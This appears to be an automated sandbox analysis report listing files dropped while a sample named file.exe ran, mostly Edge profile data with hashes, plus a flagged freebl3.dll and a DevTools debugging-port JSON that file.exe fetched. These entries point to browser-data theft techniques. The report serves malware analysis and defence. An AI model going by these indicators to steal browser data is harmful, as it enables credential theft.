Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9ffd644f-9eb8-42c5-a2ac-0abe1863569e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09057912447382
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kPCLmZtvtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynntGhOxqQoRTuiVIos
MD5:	1A32012B3E92690DAE81A034934CA7BE
SHA1:	7B91C36AE1C9D96DB7C21B135C2FE303F7A46CA6
SHA-256:	B1CA6C8356E67137AF061D1B31B3B38523534855041EC5FDC8B960E831E64ED5
SHA-512:	1DA3FF2FDAEA82CE98F89AA5C710D7984F7E39CA4DA39EB5B6A650420E67F60D4285D312A467E54A4025AB48E28F4B7C2EB3F3D85F204BE509B03EE9A2330C56
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67545664-1B78.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.046341663831994985
Encrypted:	false
SSDEEP:	192:4C3qbW0pqtmUnOAQ9YzJhwyB9XCWg0xXTh84NExII1NkRQc49UBLDW/n8y08TcmQ:4EsW0ctPx7GEhly4QUlDQ08T2RGOD
MD5:	F06992DF9D260ACCC7BFCA4D510058C9
SHA1:	32FDBBE8AC03C36EB9D4DF1FBB814A121BA6A6F8
SHA-256:	36099A8C9D774AEC32395C9CD844E054FE42DE62B064790FD0D6743E9DE26EF2
SHA-512:	6C76DD03E3110CDB29E6596E7463DF1631ACB59CC4FD9DD98C2F564D9735C478DC4BC0E4F65908741C9A09C449B9CCEC7D282B8E4265C59A1E229CC1503C98A6
Malicious:	false
Preview:	...@..@...@.....C.].....@...............Pe...U..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".ilxokv20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U?:K...G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........V...... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67545664-1E9C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04726145118577045
Encrypted:	false
SSDEEP:	192:JNChAL0pqtmUnOAQpY0JPi6VBK/7+HfgHXg1IKMEYTwpDh6MNo+zRQcDnBjn8y0d:7uAL0ctP6d45QhbhVHBj08T2RGOD
MD5:	54E022A527DCD66BDAFFF75D9B379768
SHA1:	3A403A5BB488E48F0D19B9ED7ECA0CA9F08E36FD
SHA-256:	1B43C5B4F600F4AC0A4332AE0F1BEBA44705112D201B3513213F51ED65675141
SHA-512:	BC85F3B9415404C009707C6683AD1637820FF78A3CC945AB047F1CBD79F3A58003B12AFF75E5D6EE5C2F0185B9313D1EE6C2B30D1BF06FF10065510363ECB218
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".ilxokv20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U..G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2...........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.195531555605597
Encrypted:	false
SSDEEP:	3:FiWWltlMpKoKuNoDZbkDURSHxig5ABVP/Sh/JzvNKIUBUhX9USWXQPWllt:o1GVKCoD4Hxi2ABVsJDZYeulX+W/
MD5:	B43C738AB1422F16D60B4C4B49CC7DF2
SHA1:	98C07F5F5E4F25C2BC0B2B5E6A3A2245F7D18215
SHA-256:	C28208A8D5052C44515333D67BE35E9900BB0C1E68DECF8C8CDC8DB67DE51E4C
SHA-512:	07A58D40C283CBDB4063D1EF70EBDAFF8E84CB47F530B939FA25195F9652976CB3E439F315A18D732128E60B5F2856DC1CA42E814DE45F2301DC143A0D22798E
Malicious:	false
Preview:	sdPC.........................TJ.[Y....."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................ecadf109-1d88-4bd2-8ebf-85346832b43e............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09057912447382
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kPCLmZtvtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynntGhOxqQoRTuiVIos
MD5:	1A32012B3E92690DAE81A034934CA7BE
SHA1:	7B91C36AE1C9D96DB7C21B135C2FE303F7A46CA6
SHA-256:	B1CA6C8356E67137AF061D1B31B3B38523534855041EC5FDC8B960E831E64ED5
SHA-512:	1DA3FF2FDAEA82CE98F89AA5C710D7984F7E39CA4DA39EB5B6A650420E67F60D4285D312A467E54A4025AB48E28F4B7C2EB3F3D85F204BE509B03EE9A2330C56
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF277b6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09057912447382
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kPCLmZtvtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynntGhOxqQoRTuiVIos
MD5:	1A32012B3E92690DAE81A034934CA7BE
SHA1:	7B91C36AE1C9D96DB7C21B135C2FE303F7A46CA6
SHA-256:	B1CA6C8356E67137AF061D1B31B3B38523534855041EC5FDC8B960E831E64ED5
SHA-512:	1DA3FF2FDAEA82CE98F89AA5C710D7984F7E39CA4DA39EB5B6A650420E67F60D4285D312A467E54A4025AB48E28F4B7C2EB3F3D85F204BE509B03EE9A2330C56
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF277c6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09057912447382
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kPCLmZtvtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynntGhOxqQoRTuiVIos
MD5:	1A32012B3E92690DAE81A034934CA7BE
SHA1:	7B91C36AE1C9D96DB7C21B135C2FE303F7A46CA6
SHA-256:	B1CA6C8356E67137AF061D1B31B3B38523534855041EC5FDC8B960E831E64ED5
SHA-512:	1DA3FF2FDAEA82CE98F89AA5C710D7984F7E39CA4DA39EB5B6A650420E67F60D4285D312A467E54A4025AB48E28F4B7C2EB3F3D85F204BE509B03EE9A2330C56
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF286f9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09057912447382
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kPCLmZtvtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynntGhOxqQoRTuiVIos
MD5:	1A32012B3E92690DAE81A034934CA7BE
SHA1:	7B91C36AE1C9D96DB7C21B135C2FE303F7A46CA6
SHA-256:	B1CA6C8356E67137AF061D1B31B3B38523534855041EC5FDC8B960E831E64ED5
SHA-512:	1DA3FF2FDAEA82CE98F89AA5C710D7984F7E39CA4DA39EB5B6A650420E67F60D4285D312A467E54A4025AB48E28F4B7C2EB3F3D85F204BE509B03EE9A2330C56
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28708.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09057912447382
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kPCLmZtvtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynntGhOxqQoRTuiVIos
MD5:	1A32012B3E92690DAE81A034934CA7BE
SHA1:	7B91C36AE1C9D96DB7C21B135C2FE303F7A46CA6
SHA-256:	B1CA6C8356E67137AF061D1B31B3B38523534855041EC5FDC8B960E831E64ED5
SHA-512:	1DA3FF2FDAEA82CE98F89AA5C710D7984F7E39CA4DA39EB5B6A650420E67F60D4285D312A467E54A4025AB48E28F4B7C2EB3F3D85F204BE509B03EE9A2330C56
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQw:YQ3Kq9X0dMgAEiLI2
MD5:	265DB1C9337422F9AF69EF2B4E1C7205
SHA1:	3E38976BB5CF035C75C9BC185F72A80E70F41C2E
SHA-256:	7CA5A3CCC077698CA62AC8157676814B3D8E93586364D0318987E37B4F8590BC
SHA-512:	3CC9B76D8D4B6EDB4C41677BE3483AC37785F3BBFEA4489F3855433EBF84EA25FC48EFEE9B74CAB268DC9CB7FB4789A81C94E75C7BF723721DE28AEF53D8B529
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b3acb38a-f411-47af-9672-0b3ad9561d34.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44640
Entropy (8bit):	6.095294432086481
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kRALmZhGyr6Pp4859A1AKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynnFrCKoRTuiVIos
MD5:	1CA7A2339BB472601C43AF40618502A8
SHA1:	24E57B6F6D5DDA56343A11534D37DC7D8ECF9159
SHA-256:	FC2E40A644BFA4410AE0A4B25637A57C3E09CEFCFCEFF91B6E7430A2B7894835
SHA-512:	3D1A5DB4B52432617F67F37E2EB74F6F0DA59BD626397CDB389C2708B9317E7D9D30A4D22B4D843657C916B59D1FF769FD307C63BAE31EDBA15D63A6C11C3B31
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.351260538271225
Encrypted:	false
SSDEEP:	48:SfNaoQ+GOGpTEQ+G3fNaoQ0QLfNaoQZBRQZ/fNaoQp90UrU0U8QU:6NnQ+GOGpTEQ+GvNnQ0QjNnQJQxNnQjb
MD5:	3C9E1E6F8B87ED3CA13FA1A6C87D7BE7
SHA1:	2CECC652A6BDB7A9B191274DBEA6E971D6A780D4
SHA-256:	210779B80EB55B5CA1200106921496502A0A19CEF6613B0BBC7BBEC900A3C51C
SHA-512:	BDF528E011D6F425F48133632FECD790E4E6407BBE1F4E590C6408E1453B7FC90FBDF8D9B711DB042CBD214F38E98F22B074CD8D6D47B3377CFF1F6B3B28D9F1
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D88D3E72E6F7C079EC367EE0F9319026",.. "id": "D88D3E72E6F7C079EC367EE0F9319026",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D88D3E72E6F7C079EC367EE0F9319026"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9A4499DD303CF47FF9F200241940B487",.. "id": "9A4499DD303CF47FF9F200241940B487",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9A4499DD303CF47FF9F200241940B487"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

